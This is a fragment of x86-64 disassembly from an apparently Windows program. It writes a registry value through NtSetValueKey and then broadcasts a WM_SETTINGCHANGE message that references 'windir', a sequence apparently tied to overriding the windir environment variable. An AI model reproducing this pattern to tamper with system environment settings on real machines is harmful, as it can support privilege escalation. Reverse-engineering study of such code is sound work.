call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov ebx, eax
test eax, eax
js 0x14000e13e
xor r8d, r8d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x3e8
lea r9, str.windir
mov ecx, 0xffff
mov dword [rsp + 0x20], esi
lea edx, [r8 + 0x1a]
call qword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov rcx, qword [rbp + 0x77]
test rcx, rcx
je 0x14000e14d
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rbp + 0x6f]
test rcx, rcx
je 0x14000e15c
call qword [sym.imp.ntdll.dll_NtClose]
test esi, esi
je 0x14000e16a
lea rcx, [rbp - 0x29]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
not ebx
shr ebx, 0x1f
mov eax, ebx
mov rbx, qword [rsp + 0xd0]
add rsp, 0xa0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret